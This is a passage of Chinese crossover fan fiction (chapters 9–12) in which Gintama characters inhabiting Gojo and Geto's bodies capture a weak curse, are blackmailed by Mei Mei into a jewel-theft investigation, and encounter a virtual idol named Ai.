一连串泛着彩色的泡泡在这片灰色的空间里飘荡，碰到冰冷的水泥墙面，脆弱得破碎成无数水珠。
如果站在这里的是一名摄影师，那肯定会感叹着拍出足以获得百千点赞的照片。
但作为攻击来说，就显得很可笑了。
坂田银时和宅十四发誓，他们已经很努力地在憋笑了，可惜这个身体有他自己的想法。
来自人类的嘲笑声烧断了咒灵的最后一点理智，如果有的话。
它卟叫着向前扑去，超常发挥，一瞬间就到了两人面前。
“啊啊啊啊啊！”
宅十四发出刺耳的尖叫，右手挡在自己面前，然后下意识地一抓。
追了他们十几层的咒灵消失，就这么变成了他手中的黑色咒灵玉。
吵闹的废弃大楼内，终于恢复了原本的宁静。
两人低头看着咒灵玉，心情很复杂。
半晌，坂田银时从喉咙里挤出一句话：“… …就这么完了？”
宅十四保持着姿势一动不动，僵硬地点了点头：“好像，是这样的。”
“那我们刚刚被追着跑那么惨？”
“… …”
两人对视了一眼，然后同时移开视线。
宅十四转着手里的咒灵玉，仔仔细细地看着。
这咒灵玉真玉啊。
坂田银时拍了拍身上的灰尘，然后开始做拉伸运动：“诶呀诶呀，好久没运动了，跑一跑就是舒服哈。”
两人默契地选择跳过调服咒灵的过程，在一阵假装很忙的欲盖弥彰之后，打量起了宅十四手里的咒灵玉。
“咒灵操术，恐怖如斯。”
坂田银时托着下巴，不怎么熟练地用六眼端详了一下咒灵玉。
宅十四腼腆地挠了挠头：“诶呀，其实也就一般般强啦哈哈哈。”
“但是要完全调服咒灵还差最后一步吧。”坂田银时缓缓扬起嘴角，“记得是要吃下去吧？”
宅十四脸上的笑容猛地一僵，感觉手里的咒灵玉烫了起来。
9. 第九章
就和第一次打高难游戏一样，虽然过程很痛苦，但最终看着倒下的boss，内心泛起的成就感是以往都不能比的。
但这并不意味着自己能吃下抹布味的咒灵玉。
宅十四试图和坂田银时讲道理，但是坂田银时根本不会讲道理。
不，他是太会讲道理了，以至于宅十四根本讲不过对方。
只能干巴巴地说着：“可是，可是它就只会吐个泡泡，这么弱的咒灵收服了也没有什么用吧？”
“不要挑三拣四啊新人，除了那种一刀99999的屠龙网页游戏，你看有哪个游戏一上来就给玩家神级装备的？玩游戏时候的行为映射了这个人的品行，所以我们需要做一个脚踏实地的人，不要辜负乡下老妈对你的期待啊喂。”
宅十四觉得坂田银时完全在胡诌，如果游戏行为和现实人品挂钩的话，隔壁GTA的玩家恐怕得人均蹲个牢。
他也知道自己今天恐怕是逃不掉的，旁边这个伪六眼的战力此时约莫于零，短时间内祓除不了咒灵，只能靠他的咒灵操术，但他也不可能捧着这个咒灵玉一路。
脱离他控制的咒灵玉随时都会变回咒灵，万一在人群密集的地方出现意外，那就不是能简单处理的事情了。
但就算不说这个味道。
他无视喋喋不休说大道理的坂田银时，把咒灵玉举到嘴边，比了一下大小。
就光看这个尺寸，这咒灵玉也太大了点吧？真的能吞下去吗？万一卡在喉咙里可能就一尸两命了。
在他忘我的比划和思考的时候，等候机会的坂田银时眼睛突然噌亮，精准的一击大力发球，将咒灵玉完美地拍进了宅十四的嘴里。
“唔！”
宅十四只觉得眼前一黑，紧接着就是自己喉咙满满的异物感，加上坂田银时毫不留手的力道，他感觉自己脑子都要被拍飞出去了。
咒灵玉的尺寸对于第一次被迫尝试吞咽的宅十四来说，还是太大了点，所以一时间挤在喉咙的深处，不上不下的卡着。
而当他身体还没来得及对喉咙的异物感做出反馈的时候，那股擦拭过呕吐物的抹布味就以王者的姿态霸占了整个人的身心。
那一刻，宅十四只觉得自己身处地狱。
眼角下意识地流出了生理泪水，一股酸气从胃部泛起，穿过食管，来到喉咙。
身体的各个反应都在诚实地说着“我不行”。
于是还没等坂田银时沾沾自喜自己得手了，只听biu的一声，黑色的咒灵玉在空中划出一个完美的抛物线，最终掉在地上。
好消息是，咒灵玉短时间脱离手中也不会变回咒灵。
坏消息是，沾了口水的咒灵玉在地上滚了几圈，粘上了一层黄沙，看起来更不能吃了。
宅十四双手撑住自己的膝盖，对着地面干呕了好几声，心里有些庆幸自己没来得及吃早饭。
“喂喂喂，好好吃饭，不要浪费粮食啊。”
坂田银时走到咒灵玉前蹲下，看着脏兮兮，黏糊糊的黑球，沉默了一小会，最终还是放弃地站了起来。
“算了，不吃就不吃吧，现在的年轻人，真是一点苦都吃不了。”
好不容易缓过来的宅十四小心翼翼地瞪了坂田银时一眼，然后把头撇到一边，小声嘟囔着：“还不是你嫌脏，不想捡起来。”
最后，还是宅十四不情不愿地捡起咒灵玉，一脸做贼心虚地揣进兜里。
周围的帐，在咒灵变成咒灵玉的时候就消失了，守在外面的辅助监督渡边熟练地摆出笑容，准备好措辞，争取在坂田银时他们出来的第一时间给予赞美。
首先，他要先肯定对方能成功完成任务，实在是效率高，实力强。
然后，围绕这个中心思想，通过感慨对方一尘不染的服装来侧面夸赞对方的实力强悍。
最后，升华主题，用诸如“咒术界要是没有你们该怎么办”之类的话，抬高对方。
一套流程下来，和他合作过的咒术师们都对他印象很好，五星好评拿到手软，升官加职速度飞快。
更何况，这次的咒术师还是真·咒术界未来的新星，其中一个还是御三家的六眼神子。
光是想想，渡边就觉得自己已经走上了人生巅峰。
没等他沉浸在幻想里，面前的废弃大楼里走出两个人影。
渡边连人都没看清，就连忙开口：“这次任务完成的竟然如此之快，平时别的咒术师做任务的时候，我往往都要加个班呢。”
他适时地露出一丝苦恼的表情，然后开始第二段的赞美：“不愧是五条君和夏油君，做任务速度快，衣服还没有丝毫… …”
嗯？
在他说话的过程中，两人从阴影里走到他面前，衣服满是灰尘，还有多处地方破损，伤口倒是没什么伤口，但是脸上青一块紫一块，看起来一个赛一个的狼狈。
渡边猛地吸回到了嘴边的赞美，有些怀疑人生地看了眼手里的任务资料。
这次是三级咒灵吧？怎么两个一级咒术师打得这么狼狈？
他最终还是没忍住好奇心，问道：“啊这，请问这次的任务，是不是咒灵等级勘测有误？”
坂田银时：“… …”
宅十四：“… …”
渡边这副像是怀疑人生的表情刺痛了坂田银时脆弱的内心，再想想这次他什么风头都没出，一时间怒从心头起，开始胡言乱语。
“啊对啊！遇到一个粉色头发，长着四个胳膊，嘴里不停喊着‘女人，女人，我要女人’的赤裸着上半身的特级咒灵啊！”
渡边表情忍不住有些微妙起来，这咒灵听起来好像不是很正经的样子。
他选择忽略这不正经的部分：“可是特级咒灵出现的话，我应该有所察觉的… …”
还没等坂田银时继续瞎编，优雅的女声突然响起，引起三人的注意。
“大概是两个人在做任务的时候发生口角，打起来了吧。”
高跟鞋踩在水泥地上，发出清脆的声响，朝着他们有节奏的一步步靠近。
几步之后，一个高挑的白发女子出现在众人面前。
正是还在上高专，大五条悟他们一届的学姐——冥冥。
渡边显然也和冥冥合作过，一眼便认出了来人，恭敬地微微鞠躬：“好久不见，冥冥小姐。”
冥冥点了点头：“好久
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不见渡边先生，你是第一次带他们，不知道这两个人是我们高专有名的刺头，专坑自己人，做任务的途中突然变成打自己人是很常见的事情。”
这带着挖苦性质的话，让渡边觉得自己额头冷汗直流，连忙否认：“不会不会，两位的实力强劲，做任务也很尽责。”
冥冥微微一笑，没再多说，转头看向愣在原地的两人：“借一步说话？”
他们重新进入废弃大楼，找了一个角落。
冥冥开门见山地说：“我这里有个活，需要你们帮助。”
“活？不是任务？”
“诶呀，五条君不要装傻啊，你也知道我私底下在外面接一些委托的吧。”
“… …知道吧？”
坂田银时和宅十四对视了一眼，心里有种不好的预感。
“任务本身不复杂，就是追踪盗窃珠宝的贼而已，因为监控没拍到人，所以雇主就怀疑是不是有人利用咒灵偷窃，于是找上了我。”
冥冥撩了撩自己鬓角的头发，有些苦恼地皱了皱眉：“我原先也以为只是个简单的盗窃案。但是奇怪的是，现场我没有发现任何咒力残秽。于是我怀疑只是技法高超的普通人犯案，所以改用乌鸦监视，企图抓到那人。”
“看样子是失败了。”
“对，东西还是被偷了，而且不光没看到小偷的身影，我的乌鸦还死了好几只。这就奇怪了，因为普通人一般不会注意到我的乌鸦。”
宅十四跟上了思路：“所以你怀疑作案的还是咒术界的人？”
冥冥点了点头，语气毫无危机地说着：“雇主似乎格外重视这件宝物，要是这最后一个也被偷了的话，据雇主所说，他会被赶出家族。我忙活了这么久，要是最后一分钱都没赚到的话，这笔买卖可亏得太惨了。”
她微微睁开眼睛，直直地看向坂田银时：“所以能不能帮我这个忙呢？用你的六眼的话，应该能看到不一样的东西吧？”
坂田银时微微思考了一下，直接直入正题：“报酬怎么分？”
“三七。”
“想不到你这么大方啊。”
冥冥歪了歪头，笑得一脸灿烂：“不不不，你误会了，是你三我七。”
“告辞。”坂田银时当场就不干了，“我不光不干，我还要向老师举报你接私活。”
“这样嘛。”
冥冥一点都不慌，她抬头看向大楼顶部，伸出自己的右胳膊。
一只乌鸦从上面飞了下来，稳稳地停在了冥冥的胳膊上。
“早在你们来之前，我就在这里等你们了，左右无聊，就放出几只乌鸦在楼里散步。”
坂田银时和宅十四死死地盯着惬意地梳洗羽毛的乌鸦，脸上的表情是崩不住的狰狞。
如果他们没记错的话，冥冥的术式是乌鸦操术，也就是能共享她放出的乌鸦的视野。
“很不巧，我的乌鸦，看到了一些很有趣的东西。”
冥冥说话的语气不急不慢，却给他们一种宣判死刑的压迫感。
“你们有兴趣了解下，乌鸦看到了什么吗？”
坂田银时：“… …”
宅十四：“… …”
10. 第十章
大写的“危”字在坂田银时和宅十四的头顶亮起。
两人没想到自己会这么快就陷入暴露的危机之中。
这才过了多久，有一天吗？
他们猛地一甩头，互相对视着乱甩眼色，可惜除了看出彼此都很慌乱之外，没有得到任何有效的沟通。
坂田银时在内心狂喊着系统，期待这个半成品中的半成品能发挥什么作用。
【获得宿主请求，小ai可以对对方实施电击，请问是否执行？】
【电击有什么用？期待对方电击过后能贴心地失去这段记忆吗？而且这样做，不是更加证实我们有问题了吗？】
虽然本来就没有抱什么希望，但当听到系统没有什么作用的建议之后，还是让两人心凉了一下。
冥冥将两人慌乱的神情尽收眼底，愉快地又上扬了几分嘴角。
看起来，她赌对了。
乌鸦确实跟随着她提前到了这个地方，但是她此行的目的是为了找这两个人合作。
帮忙提前侦查环境什么的，是要加钱的。
而且考虑到两人平时在学校干架的势头，在确认两人到来之后，冥冥就撤走了乌鸦。
毕竟不管怎么说，培养的每一只乌鸦都耗费了她的心血，不能因为这种没有必要的原因折损。
所以她并没有亲眼看到大楼内发生了什么。
想到这她不免有些后悔，如果那时候看到他们的小秘密，最好能够记录下来，那肯定能敲诈更多钱。
对于这两个后辈，她的了解并不是很多，毕竟差了一个年级，平时大家也都忙着做任务，能够见面的机会不算多。
但这些就已经足够了，从两人与辅助监督的对话里，她分析出两人的心理活动以及他们似乎隐瞒了些什么这一事实。
具体是什么，她已经无从知晓，但是仅凭这些推测，光是用来作为压价的筹码来说，就已经足够。
“怎么样？想好了吗？”给足压力之后，她适时的开口，“要不要合作呢？”
-----
三个人神采奕奕地进去，其中两人蔫巴巴地出来，让渡边忍不住好奇了起来，但作为一个合格的辅助监督，他知晓不能过多探究咒术师们的秘密。
于是他很上道地拉开车门，首先朝着像是谈判胜利方的冥冥问道：“请问冥冥小姐要和我们一起回高专吗？”
冥冥点了点头：“不过在这之前，我们正好有个地方要去，就麻烦渡边先生载我们一程了。”
“我们？五条同学和夏油同学之后是要和冥冥小姐一起行动吗？”
冥冥看了眼吐魂的两人，替他们回答道：“嗯，是的。”
渡边看了眼没有反对的两人，不再多问，在全员坐上座位之后，系好安全带，朝着冥冥说的地点开去。
目的地距离任务地点并不是很远，这也是冥冥选择先来这边的原因之一。
约莫十几分钟后，三人站在了一个会展门口，渡边则是非常有眼力见地找了个理由开车离开了。
冥冥率先走在前面：“你们毕竟是我推荐的人，所以按照道理，应该先带你们见见雇主。”
没有演出时候的会展门口多少有点冷清，但从里面传出来歌声好听到能够让路过的人忍不住驻足。那元气的声音仿佛能将人的心灵一起净化。
坂田银时并不关心任务，反正左右都是亏本买卖，他会用行动让冥冥牢记便宜没好货这一深刻教训。
所以倒是这会展里传出来的音乐更让他好奇。
“这是什么人要开演唱会吗？”
冥冥解说的话卡在嘴边，有些一言难尽地看了眼坂田银时，但还是耐心回答：“好像是什么偶像吧？雇主投资的项目，说是什么能引领未来新风尚，看起来风险很高的样子。”
宅十四对此不屑一顾：“三次元的偶像什么的哪有二次元好？”
“嗯？夏油君什么时候也开始关注偶像了吗？”
“不用在意，不用在意。”坂田银时摆了摆手，“这人喜欢说些流行词来
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彰显自己时尚。”
冥冥并不是很在意他们的个人爱好，闲聊中，三人很快就从员工通道走到了雇主办公室门口。
“虽然不用我说，但姑且还是提醒一句。”
冥冥带着和蔼地笑容看向坂田银时和宅十四，却让两人感觉到了丝丝凉意。
“得罪雇主什么的我其实是无所谓啦，但是如果搞黄了我这笔生意… …呵呵。”
她轻声一笑，激地两人浑身一颤。
“了、了解。”
冥冥满意地点了点头，收敛好情绪之后，敲了三下门板，抬高声音说道：“四宫先生，我把推荐的人带来了。”
“进来。”
三人推门进入，看到的是一个忙得焦头烂额的中年男子。
他桌子上摆满了写着各种报表的单子，以及改了不知道多少版的厚厚一叠企划书。
看他手里拿着笔的样子，估计今晚在这个城市，又会有一个可怜打工人，因为老板一句“重做”而加班到黎明吧？
被冥冥称为四宫的男子，在他们进来的时候放下手里的企划书和笔，疲惫地捏了捏自己的鼻梁，然后满眼审视地打量着坂田银时和宅十四。
坂田银时撇着嘴，双手插兜弯着腰，一股子街头混混的模样，嘴里嚼着不存在的口香糖，走到四宫的面前像抽搐一样摇摆着脑袋：“喂喂喂，老头你这是什么眼神？小瞧我们吗？看见我大姐头还不快双手朝地，虔诚跪拜，然后双手递上保护费啊？懂不懂道上的规矩啊混蛋drrrrr。”
冥冥脸上的微笑僵住。
宅十四上道得秒接坂田银时脑回路：“没错！我们大姐头可是有着在二次元超有人气的白发以及眯眯眼！加上御姐属性和完美身材，一看就知道会是一个烫角色！你一个谷子都不会出，某些动漫里甚至眼睛都不配画的小角色，竟然用这种眼神觊觎我们大姐头！是想被网暴吗？”
冥冥脸上的笑容第一次没能维持住，她开始反思自己把这两个人带过来是不是个错误。
11. 第十一章
放任眼前两个人胡言乱语得罪雇主是不行的，冥冥从口袋里掏出手机。
“说得好，既然这样，那我就把我用乌鸦看到的所有告诉咒术界里的每个人。”
话音刚落，冥冥的身前就多了两个标准的土下座。
“大姐头我错了。”
“我会好好保护大姐头，不让npc靠近你的。”
后面那个完全没有悔改的意思吧？
冥冥头疼地叹了口气，合上手机抱歉地看向目瞪口呆的四宫：“抱歉四宫先生，我这两个学弟，性格有些跳脱。”
“… …呃，啊，没事，咒术师多多少少性格都有些奇怪，我是知道的。”
被间接说成“性格奇怪”的冥冥干笑了几声，有种抹黑了整体咒术界的感觉。
贴心的四宫先生开始转移话题：“看起来，冥冥小姐要推荐的就是两个小鬼吗？”
“四宫先生此言差矣，光看年龄的话，我不也是一个正在读书的小鬼吗？”
“你不一样，虽然年纪不大，但你干这行时间长，业内口碑很不错，这两个… …”
“感谢四宫先生的信任，这两个虽然是我的后辈，此次也是第一次出来接活，但在学校，在我们圈子里，他们可都是天才。”
“对了，用数字衡量的话，应该更直观吧。”冥冥掏出手机上前一步，悄声在四宫的耳边说：“在‘我们’那边，他们做一次任务的报酬是这么多。”
四宫看着手机上那一连串数起来都费劲的零，腰板瞬间坐直，看坂田银时和宅十四的眼神立马不一样了起来。
“他们竟然这么值钱吗？”
他清了清嗓子：“我信任冥冥小姐，既然是冥冥小姐推荐的人，那肯定也是身手不凡，我的珠宝，就拜托各位了。最后就是，这个报酬… …”
“放心，四宫先生，还是原来的价格。”
听到冥冥这么说，四宫便立马放松了下来，脸上也扬起了笑容，假模假样地说着：“这太不好意思了，不愧是冥冥小姐，找你办事就是省心。”
坂田银时嘟囔着：“这就谈成了？我还期待着让我们展现实力得到认可呢。”
“… …不要开玩笑了五条君，你展现实力的话，恐怕整个会展都会被横着削掉一半吧？到时候恐怕我们的报酬都不够赔偿。”
“我是那么粗鲁的人吗？！”坂田银时不满地大声嚷嚷，“我只会让土… …夏油对着面前这个人的假发扔咒灵玉而已。”
“诶！我的头发看得出来是假发吗？！”
“那样也证明不了什么实力吧？”冥冥面色不变地对着大惊失色的老板说，“放心吧四宫先生，虽然大家都看出来了，但是都没有戳穿您，看起来，您身边的员工都是很体贴的人呢，恭喜您。”
“… …这是什么值得恭喜的事吗？”四宫眼角坠着泪，抬头就看到宅十四对着自己摆出一个标准的投球姿势，“喂！你要干什么！”
“嗯？我只是想试试看假发能不能被砸下来。”
“为什么要好奇这个啊！而且砸过来的话我脑袋会受伤吧？”
宅十四看了看自己手里的咒灵玉，垫了垫重量，最后得出结论：“比起你的脑袋，可能你的自尊心会更受伤一点？”
“？！”
就在四宫险些一口气喘不上来的时候，门外再次传来敲门声。
宛如某个游戏里，在村子里敲响的钟声，救赎了陷入危机的主角，四宫毫不犹豫地回答：“请进！！”
门外的人似乎愣了一下，却还是一脸平常地打开了门。
来人是四宫的秘书，她被派去监督偶像演唱会的流程，此时到来也是因为现阶段的准备基本完成了。
“所以四宫先生现在有时间去现场，看看还有什么要改正的地方吗？”
“有有有！走，现在就走！”
四宫先生一跃而起，从脸上兴奋的表情里看得出，他对这个项目很有信心。
虽然坂田银时的偶像已经有了天气预报小姐姐，但能近距离凑热闹的事情，他是不会错过的。
“我们也能去看看吗？”
宅十四一脸被背叛的表情，失望地看向坂田银时：“坂… …五、五条氏，你变了！你竟然背叛中立派，变成那种对着偶像摇荧光棒、买不可描述的海报写真带回家【哔——】然后【哔——】的可怜死宅现充了吗？！”
现场众人被这顿直白的发言惊到，原本和谐的气氛顿时陷入尴尬之中。
冥冥有些不自然地撩了撩刘海，语气淡定地说：“没想到，夏油君在有关个人爱好的方面上，是如此… …有原则的人。”
边说，她边在别人看不见的地方悄悄打开手机，准备打开录音。
却意外看到庵歌姬在不久前给她发了信息。
信息上说，现在她和家入硝子在渡边的车上，等冥冥结束之后一起回高专。
冥冥心情很好地上扬了下嘴角，快速回完信息。
完全没有注意到冥冥这边动作的坂田银时和宅十四，还在忘我地争论着“偶像”的定义。
“你说的到底是什么不正经片子里的地下偶像啊！”坂田银时庆幸家里的眼镜不在这里，否则场面肯定很热闹，“而且‘死宅’和‘现充’两个究极反义词你是怎么放一起来形容一个人的啊喂！”
宅十四右手抱住自己的另一只胳膊，嘴里发出阴森森地“嘶嘶嘶”：“不过是一群妄想和台上女神谈恋爱的可悲存在罢了，现充，太现充了。”
“… …原来‘现充’这个词在你这，是当贬义词用的吗？”
四宫先生不明觉厉地收回目光，小声嘟囔着：“真是不懂现在的年轻人。”
强拉硬拽着宅十四，众人走到了舞台最前面的中央座位坐好。
舞台上空无一人，大屏幕上还蒙上了一块厚实的布。
坂田银时左探头，右看看，没找到类似偶像的人物。
“嘶嘶嘶，怕不是迟到了吧？很多偶像虽然不火，但是耍大牌的本领可不小。”
“啊对对对，是是是，不如你的二次元老婆，可惜，在这个世界上，你老婆根本不存在，看来你得找一个新老婆了。”
“不许质疑我对小巴的爱！不管多久，相隔几个世界，我对她的爱都不会变。”
冥冥坐得笔直，目不斜视，耳朵和手机却没有放过任何对话。
她在心里默默记下：夏油杰的老婆【划掉】偶像，是一个叫小巴的二次元角色。
嗯，这个情报看起来会买个不错的价格。
就在宅十四试图证明自己对美少女武士——巴五泉的爱的时候，会展内的喇叭里，响起了一个意外有些熟悉的声音。
“诶呀诶呀，抱歉抱歉，让各位久等啦，那么，话不多说，music！”
宅十四目光挑剔地看向舞台，满脸不屑。
接着，舞台上屏幕的幕布拉开，随着音乐响起，一个深紫色发色的少女出现在大家眼前。
她睁开眼，眼中明亮的六芒星像是天空最灿烂的一颗启明星，让人在抬眼那刹那就被她那双眼睛所吸引。
接着便会注意到她那能够扫除心中一切阴霾的笑容，和可爱靓丽的样貌。
像是喝下了夏天的一杯葡萄汁，沁入心脾，甜味十足，在喉咙处流连。
最后耳边响起少女的歌喉，将人一下子拉回现实，拉到她的面前。
“只属于你的偶像”
“暗号是B，啾～”*
熟悉的人物，熟悉的音乐以及格格不入的地点。
坂田银时和宅十四双双愣住，异口同声地喊出少女的名字：“爱？！”
现在的情况对于坂田银时和宅十四来说有点心情复杂，概括一下就是：在纸片人的世界和纸片人一起看纸片人偶像的表演。
而且这个纸片人偶像还很明显是从隔壁串场串过来的，画风完全不一样啊喂！
“诶呀，两位竟然知道爱酱吗？”
坂田银时两眼茫然地回望过去：“啊？”
二次元叫“爱酱”的角色实在是太多了，他脑子又正处于被冲击过后的宕机状态，下意识就脱口而出：“是说那个头戴着粉色蝴蝶结发箍的vtuber吗？”
“什么嘛。”四宫先生皱了皱眉头，“是舞台上的爱酱啊，你们刚刚不是喊了她的名字吗？”
“… …啊，嗯。”
坂田银时艰难地回神，这个世界名字带“ai”的也太多了吧？
接着他意
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识到了一个更加严重的问题，眼前的这个爱酱，她和这个世界的纸片人不一样，是出现在屏幕里的3d人物。
但对方的一言一行，甚至歌喉和说话的语气，都非常的流畅，简直就像是… …
“虚拟偶像。”四宫得意地看着屏幕里的爱酱，“一种真人在后面扮演的2.5次元偶像，这个一定能够火，我多年的商业直觉是这么说的。”
不得不说，这还无人涉及的领域对于四宫来说，即是机遇也是挑战。
所以为了保守起见，他将虚拟偶像“星野爱”的存在隐藏，准备在这个拥有多个偶像团队聚集的演唱会，作为彩蛋出现。
不同偶像团队的粉丝或许有些喜好会重叠，但是作为类偶像粉丝来说，已经足够做参考。
这第一口螃蟹能不能吃好，能不能继续吃下去，就看这次偶像演唱会现场的反应了。
“等… …啊？不对吧？”
坂田银时一头乱糟糟的卷发都要被他挠秃了。
已知，现在这个时代的时间线是2006年，这个互联网刚开始普及，做的动画都是用flash的年代，突然出现这么高质量的3d建模，而且还能实现实时动捕，怎么想都不对劲吧？
他左看右看，也没看到《咒术O战》里打了“架空世界”这个标签啊？
紧接着他联想到了他们的到来。
总不会是因为他们的出现，导致科技树突飞猛进了十几年吧？
坂田银时下意识转头看向旁边的宅十四，想要讨论下自己的发现，却发现原本高冷端坐在座位上的阴阳大师已经不见了。
取而代之的是站在舞台下，左右手各拿着三根荧光棒，在那卖力地随着音乐跳着wota艺的宅属性全面发动的土方十四郎。
他随着歌声忘我地摇摆着头颅，额前的那缕刘海有节奏地拍打着他的额头和头顶。
他丝毫没有浪费咒术师良好的身体素质和核心力量，把手里的荧光棒舞出无数道残影，双腿还依然稳站原地。
看得众人大惊，失语。
原本集中在虚拟偶像身上的目光，都忍不住看向了原本以为稳重的少年身上。
一曲结束，会展里响起了齐刷刷的掌声，一半给爱酱，一半给宅十四。
宅十四舞完一曲，身上一滴汗都没有流，他站直身体，目光直直地看向屏幕里的爱酱。
然后深吸一口气，中气十足地喊着号子：“A！I！M！T！爱酱！麻吉！天使！嘿！”
坂田银时一个健步上去，在宅十四边上鼓掌打着拍子，一副看热闹不嫌事大的样子。
“来来来，小杰，给他们整个绝活，三，二，一，呼嘞！”
宅十四非常配合地原地一个360度空中翻滚，再配上眼花缭乱的手部动作，成功成为了爱酱眼中，不，是所有工作人员眼中最闪耀的一坨LED灯，还是ktv那种旋转的彩灯。
坂田银时可以拍着胸脯肯定，刚刚这货打咒灵的时候都没有这么卖力。
“不愧是铁杆粉丝！wota艺的技术都这么精湛！再来一个！”
此刻的宅十四已经忘却了一切，满脑子都是自己是面前这个新晋老婆的第一位铁杆粉丝，他要用自己全身的技术，证明自己的身份和决心，在这个冰冷的会展里应援自己的偶像。
他想用自己的行动告诉爱酱，你不是一个默默无名的地下偶像，只要你歌声在的地方，就会有他来给你献上掌声。
想着想着，宅十四被自己真诚而又宝贵的情感打动了，从他的眼角流下了几串晶莹的泪水。
他故作帅气地一把抹去鼻涕眼泪，火热地眼神看着爱酱，大喊着：“安可！安可！”
全程看清宅十四情绪大起大落的爱酱，此时也有点绷不住，虽然面上她还在笑，其实内里的灵魂走了有一会了。
她不理解，彩排刚刚开始，她才唱了一首歌，这个人怎么就开始喊安可了？这是什么变相催人下台的手段吗？
但这人看起来又好像是自己的粉丝，刚刚给自己打call还打得很有水平。
所以这是什么？pua吗？对她一个虚拟偶像pua？
不对，自己又没出道，哪来的粉丝，所以果然还是来捣乱的吧？
12.第十二章
爱酱僵硬着嘴角看向自己的金主爸爸，希望对方能把这个打扰排练的人拖出去。
金主爸爸四宫没有get到爱酱的眼神暗示，倒是一旁录够了素材的冥冥很看氛围地起身。
“给各位看笑话了，我这两个学弟，表达喜爱的方式比较… …特别，给你们添麻烦了，十分抱歉。”
“哪里哪里。”四宫这才回神，“看到年轻人这么喜欢爱酱，我对这个项目又多了几分信心，是我该谢谢你们才对。”
冥冥笑了笑，熟练地来回客套了几句，就看向还在胡言乱语，金蛇狂舞的宅十四，还有在他旁边不停煽风点火的坂田银时。
“夏油君，五条君，差不多该走了，回学校耽误了时间的话，夜蛾老师恐怕会对你们新仇旧恨一起算的哦。”
想起夜蛾正道那比沙包还大的拳头，宅十四和坂田银时下意识地抖了三抖，这是来自于DNA的本能恐惧。
坂田银时觉得没热闹看了，于是若无其事地走到冥冥身边，好像刚刚大喊着“再来一个”起哄的人不是他一样。
“咳咳，冥冥小姐，你手机录像能给我一份吗？”
“怎么？想删掉自己的黑历史？”
“黑历史？我有什么黑历史？”
饶是见多识广的冥冥，也被坂田银时理直气壮的厚脸皮弄的一时间有些无语，她选择跳过这个话题。
“想要录像可以，看在你是我学弟的份上，打个折，20万怎么样？”
“喂喂喂，你拍的可是我们，没告你侵犯我们肖像权就不错了。”
“我们这行可不讲什么肖像权。”冥冥举起手机，在坂田银时眼前晃了晃，“怎么样？买还是不买。”
坂田银时沉思了一会，花钱是不可能花钱的，他这辈子最喜欢的就是白嫖了。
“这样吧，反正我和夏油每天都能在一起，我们合作，我定时给你提供他的丢人视频，你拿去卖，我们五五分账，怎么样？”
“可以，合作愉快。”
两人笑眯眯地握手，心里的算盘打得飞快。
宅十四还不知道自己已经被卖了，在那看了看爱酱，又回头看了看冥冥，来回反复数次，最后还是屈服了，蔫巴巴地一步三回头，跟着冥冥和坂田银时走出了会展。
站在会展门口，冥冥用手机拨通了辅助监督渡边的电话，手机铃声却从身边传来。
三人愣了一会，在坂田银时和冥冥的注视之下，宅十四才堪堪回过神，从自己的灯笼裤里费劲地掏出一个战损版手机。
“啊，说起来做任务前我们确实借了渡边的手机来着。”坂田银时看着手机，“不过这手机质量不错诶，都这样了还能用，不会是诺O亚的吧？”
冥冥挂掉电话，转而给庵歌姬发了个短信。
没过多久，一辆熟悉的轿车就停在了他们面前。
驾驶座上，辅助监督渡边笑着朝三人点了点头。
后排的车窗被摇下，正坐在里面的家入硝子和庵歌姬朝着他们挥了挥手。
“我们来接你啦冥冥。”
家入硝子和庵歌姬是在逛街的时候，碰巧遇到停在路边的渡边。
和渡边闲聊之后，才得知坂田银时他们和冥冥在一起。
左右也不急于这一时，于是俩人决定蹭一蹭车。
等待的时间内，庵歌姬先是给冥冥发了等她的信息，然后就听到渡边有些苦恼地说着自己手机被拿走了，担心期间会不会有人联系他。
家入硝子这才想到，按照行程来看，坂田银时他们估计没什么时间买手机。
作为贴心的好同学，她当然要帮助他们啦。
家入硝子微微一笑，拆了个棒棒糖塞到嘴里。
一边的庵歌姬搓了搓手臂：“硝子，我怎么觉得你笑得有点吓人。”
“讨厌啦，前辈这么说，我可是会伤心的。”
她凑到庵歌姬的耳边，悄咪咪地说了些什么。
“怎么样，前辈要一起去吗？”
被引起兴趣的庵歌姬猛点头：“要要要！”
于是两人中途下了车，帮忙买好了手机，再回到车上时，庵歌姬收到了冥冥已经完工的回信。
冥冥“啪”地合上手机，脸上的笑容真切了几分，声音也下意识放柔了不少：“谢谢，你们来得很快。”
她走上前拉开车门，坐在了仅剩的副驾驶座上。
“喂喂喂等等，我们两个怎么办？”坂田银时扒着车窗，“你们不会是想让我们跑回去吧？”
庵歌姬朝着坂田银时挥挥手，脸上写满了幸灾乐祸：“谁管你们，这辆车满员了满员了！”
“你们两个大少爷可以自己打车回去啊。”家入硝子从袋子里掏出两个手机扔给坂田银时和宅十四，“帮你们买的，不用谢，真是两个大忙人。”
渡边下车，礼貌地从宅十四手里接过自己的手机，只觉得自己的心都在滴血。
他良好的职业素质让他表情不至于崩坏，但从他那眼角的泪珠还是能看出来他的痛心。
“… …那五条同学，夏油同学，我就先送她们回高专了。”
“等等。”坂田银时拉住渡边，“退一步来说，为什么我不能是开车的那个呢？”
这退得着实有点多了。
“… …请问五条君有驾照吗？”
“我未来会有。”
“那你也可以未来再开车。”
此刻刚刚经历丧机之痛的渡边，只觉得自己心比石头还硬，人比铁还冷酷。
他转身就走了，像是下定了某种决心。
拉开车门，系上安全带，一脚油门一脚离合，动作行云流水，不带一丝拖沓。
眨眼间，眼前的轿车就已经变成天边的一个小黑点，只留下坂田银时和还在神游天际的宅十四化作石雕，遥遥看着他们离去。
远处依稀听见家入硝子亲切的提醒：“下午还有夜蛾老师的课，你们不要迟到了啊！”
坂田银时看看天，再看看手里的手机，陷入了沉默。
那么问题来了，身无分文的他们是要怎么才能在下午之前回高专呢？
不会要去路边抢劫吧？
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抢劫是不可能抢劫的，像他们这么遵纪守法的良好公民怎么会干这种违法乱纪的事情。
“所以金主爸爸能不能借我们亿点路费？”
四宫面色复杂地看着去而复返，站在他面前抠着鼻子的坂田银时。
“… …”
他们这种行为已经算是在抢劫了吧？
但想着好歹也是合作关系，小小的路费，还是可以报销的。
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于是他点了点头，让秘书拿来一叠钞票递给了坂田银时。
“好诶！”坂田银时一把薅过所有现金，用手肘捣了捣宅十四，“喂，你呢？要和我一起回去吗？”
宅十四从进来之后眼睛一直没有离开屏幕，脚像扎了根一样杵在那。
他听见坂田银时的话，艰难地转过头，一脸痛苦，咬着牙，从嗓子里挤出：“… …嗯。”
